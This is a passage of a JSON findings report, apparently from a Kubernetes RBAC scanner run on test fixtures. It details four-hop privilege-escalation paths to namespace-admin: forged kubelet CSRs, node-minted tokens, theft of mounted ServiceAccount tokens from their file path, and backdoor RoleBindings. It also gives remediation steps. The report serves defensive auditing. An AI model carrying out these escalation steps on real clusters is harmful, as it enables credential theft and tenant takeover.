      "Holding a node identity, the attacker requests a token for ServiceAccount `ServiceAccount/rbac-fixtures/sa-pod-create` through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as `ServiceAccount/rbac-fixtures/sa-pod-create`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/cutres/cutres-detour` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/cutres/cutres-detour`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `cutres`. They read every Secret and ConfigMap in `cutres`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. csr_nodeclient_autoapprove [create certificatesigningrequests + create certificatesigningrequests/nodeclient]",
        "2. node_token_request [node authorizer: create serviceaccounts/token for pods bound to the node]",
        "3. pod_create_token_theft [create pods]",
        "4. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "csr_nodeclient_autoapprove",
      "hop_count": 4,
      "target": "namespace_admin",
      "target_namespace": "cutres",
      "techniques": [
        "csr_nodeclient_autoapprove",
        "node_token_request",
        "pod_create_token_theft",
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `cutres`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 4 (`ServiceAccount/cutres/cutres-detour` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n cutres --as=system:serviceaccount:nodeid-fixtures:nodeid-joiner` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 4 (`ServiceAccount/cutres/cutres-detour` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `cutres` granting RBAC writes: `kubectl get role -n cutres -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `cutres` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "csr_nodeclient_autoapprove",
        "technique": "KUBE-PRIVESC-037",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-joiner",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create certificatesigningrequests + create certificatesigningrequests/nodeclient",
        "gains": "can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource",
        "source_binding": "crb-nodeid-joiner",
        "source_role": "cr-nodeid-joiner"
      },
      {
        "step": 2,
        "action": "node_token_request",
        "technique": "KUBE-NODE-AUTHZ",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-joiner",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "node authorizer: create serviceaccounts/token for pods bound to the node",
        "gains": "as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there"
      },
      {
        "step": 3,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-detour",
          "namespace": "cutres"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount cutres/cutres-detour",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 4,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-detour",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "cutres"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/nodeid-fixtures/nodeid-joiner:namespace_admin:deepchain-tenant",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 6.75,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/nodeid-fixtures/nodeid-joiner` can reach **namespace-admin in `deepchain-tenant`** in 4 hop(s)",
    "description": "Subject `ServiceAccount/nodeid-fixtures/nodeid-joiner` has a privesc path that ends at namespace-admin inside `deepchain-tenant`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `deepchain-tenant` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/nodeid-fixtures/nodeid-joiner` → `/` via `csr_nodeclient_autoapprove` (create certificatesigningrequests + create certificatesigningrequests/nodeclient): can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource\n  2. `ServiceAccount/nodeid-fixtures/nodeid-joiner` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `node_token_request` (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there\n  3. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/deepchain-tenant/deepchain-binder` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder\n  4. `ServiceAccount/deepchain-tenant/deepchain-binder` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "nodeid-joiner",
      "namespace": "nodeid-fixtures"
    },
    "resource": {
      "kind": "Namespace",
      "name": "deepchain-tenant",
      "namespace": "deepchain-tenant"
    },
    "namespace": "deepchain-tenant",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/nodeid-fixtures/nodeid-joiner` → namespace-admin in `deepchain-tenant`: every workload, Secret, and ConfigMap inside `deepchain-tenant` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/nodeid-fixtures/nodeid-joiner` yields full takeover of `deepchain-tenant`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/nodeid-fixtures/nodeid-joiner` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/nodeid-fixtures/nodeid-joiner`, the attacker submits a CertificateSigningRequest for the `kubernetes.io/kube-apiserver-client-kubelet` signer naming `system:node:\u003cname\u003e` in `system:nodes` (`create certificatesigningrequests + create certificatesigningrequests/nodeclient`). The controller manager's CSR approver asks the API server whether the requester may `create certificatesigningrequests/nodeclient`; it may, so the CSR is approved and signed with no human step. Nothing ties the node name to the requester, so the certificate is a kubelet identity for any node the attacker names.",
      "Holding a node identity, the attacker requests a token for ServiceAccount `ServiceAccount/rbac-fixtures/sa-pod-create` through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as `ServiceAccount/rbac-fixtures/sa-pod-create`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/deepchain-tenant/deepchain-binder` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/deepchain-tenant/deepchain-binder`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `deepchain-tenant`. They read every Secret and ConfigMap in `deepchain-tenant`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. csr_nodeclient_autoapprove [create certificatesigningrequests + create certificatesigningrequests/nodeclient]",
        "2. node_token_request [node authorizer: create serviceaccounts/token for pods bound to the node]",
        "3. pod_create_token_theft [create pods]",
        "4. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "csr_nodeclient_autoapprove",
      "hop_count": 4,
      "target": "namespace_admin",
      "target_namespace": "deepchain-tenant",
      "techniques": [
        "csr_nodeclient_autoapprove",
        "node_token_request",
        "pod_create_token_theft",
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `deepchain-tenant`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 4 (`ServiceAccount/deepchain-tenant/deepchain-binder` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n deepchain-tenant --as=system:serviceaccount:nodeid-fixtures:nodeid-joiner` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 4 (`ServiceAccount/deepchain-tenant/deepchain-binder` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `deepchain-tenant` granting RBAC writes: `kubectl get role -n deepchain-tenant -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `deepchain-tenant` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "csr_nodeclient_autoapprove",
        "technique": "KUBE-PRIVESC-037",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-joiner",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create certificatesigningrequests + create certificatesigningrequests/nodeclient",
        "gains": "can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource",
        "source_binding": "crb-nodeid-joiner",
        "source_role": "cr-nodeid-joiner"
      },
      {
        "step": 2,
        "action": "node_token_request",
        "technique": "KUBE-NODE-AUTHZ",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-joiner",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "node authorizer: create serviceaccounts/token for pods bound to the node",
        "gains": "as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there"
      },
      {
        "step": 3,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-binder",
          "namespace": "deepchain-tenant"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 4,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-binder",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "deepchain-tenant"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/nodeid-fixtures/nodeid-joiner:namespace_admin:rbac-ns-fixtures",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 6.75,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/nodeid-fixtures/nodeid-joiner` can reach **namespace-admin in `rbac-ns-fixtures`** in 4 hop(s)",
    "description": "Subject `ServiceAccount/nodeid-fixtures/nodeid-joiner` has a privesc path that ends at namespace-admin inside `rbac-ns-fixtures`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `rbac-ns-fixtures` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/nodeid-fixtures/nodeid-joiner` → `/` via `csr_nodeclient_autoapprove` (create certificatesigningrequests + create certificatesigningrequests/nodeclient): can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource\n  2. `ServiceAccount/nodeid-fixtures/nodeid-joiner` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `node_token_request` (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there\n  3. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate\n  4. `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "nodeid-joiner",
      "namespace": "nodeid-fixtures"
    },
    "resource": {
      "kind": "Namespace",
      "name": "rbac-ns-fixtures",
      "namespace": "rbac-ns-fixtures"
    },
    "namespace": "rbac-ns-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/nodeid-fixtures/nodeid-joiner` → namespace-admin in `rbac-ns-fixtures`: every workload, Secret, and ConfigMap inside `rbac-ns-fixtures` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/nodeid-fixtures/nodeid-joiner` yields full takeover of `rbac-ns-fixtures`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/nodeid-fixtures/nodeid-joiner` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/nodeid-fixtures/nodeid-joiner`, the attacker submits a CertificateSigningRequest for the `kubernetes.io/kube-apiserver-client-kubelet` signer naming `system:node:\u003cname\u003e` in `system:nodes` (`create certificatesigningrequests + create certificatesigningrequests/nodeclient`). The controller manager's CSR approver asks the API server whether the requester may `create certificatesigningrequests/nodeclient`; it may, so the CSR is approved and signed with no human step. Nothing ties the node name to the requester, so the certificate is a kubelet identity for any node the attacker names.",
      "Holding a node identity, the attacker requests a token for ServiceAccount `ServiceAccount/rbac-fixtures/sa-pod-create` through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as `ServiceAccount/rbac-fixtures/sa-pod-create`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `rbac-ns-fixtures`. They read every Secret and ConfigMap in `rbac-ns-fixtures`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. csr_nodeclient_autoapprove [create certificatesigningrequests + create certificatesigningrequests/nodeclient]",
        "2. node_token_request [node authorizer: create serviceaccounts/token for pods bound to the node]",
        "3. pod_create_token_theft [create pods]",
        "4. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "csr_nodeclient_autoapprove",
      "hop_count": 4,
      "target": "namespace_admin",
      "target_namespace": "rbac-ns-fixtures",
      "techniques": [
        "csr_nodeclient_autoapprove",
        "node_token_request",
        "pod_create_token_theft",
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `rbac-ns-fixtures`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 4 (`ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n rbac-ns-fixtures --as=system:serviceaccount:nodeid-fixtures:nodeid-joiner` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 4 (`ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `rbac-ns-fixtures` granting RBAC writes: `kubectl get role -n rbac-ns-fixtures -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `rbac-ns-fixtures` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "csr_nodeclient_autoapprove",
        "technique": "KUBE-PRIVESC-037",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-joiner",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create certificatesigningrequests + create certificatesigningrequests/nodeclient",
        "gains": "can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource",
        "source_binding": "crb-nodeid-joiner",
        "source_role": "cr-nodeid-joiner"
      },
      {
        "step": 2,
        "action": "node_token_request",
        "technique": "KUBE-NODE-AUTHZ",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-joiner",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "node authorizer: create serviceaccounts/token for pods bound to the node",
        "gains": "as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there"
      },
      {
        "step": 3,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ns-rolebinding-mutate",
          "namespace": "rbac-ns-fixtures"
        },
        "permission": "create pods",
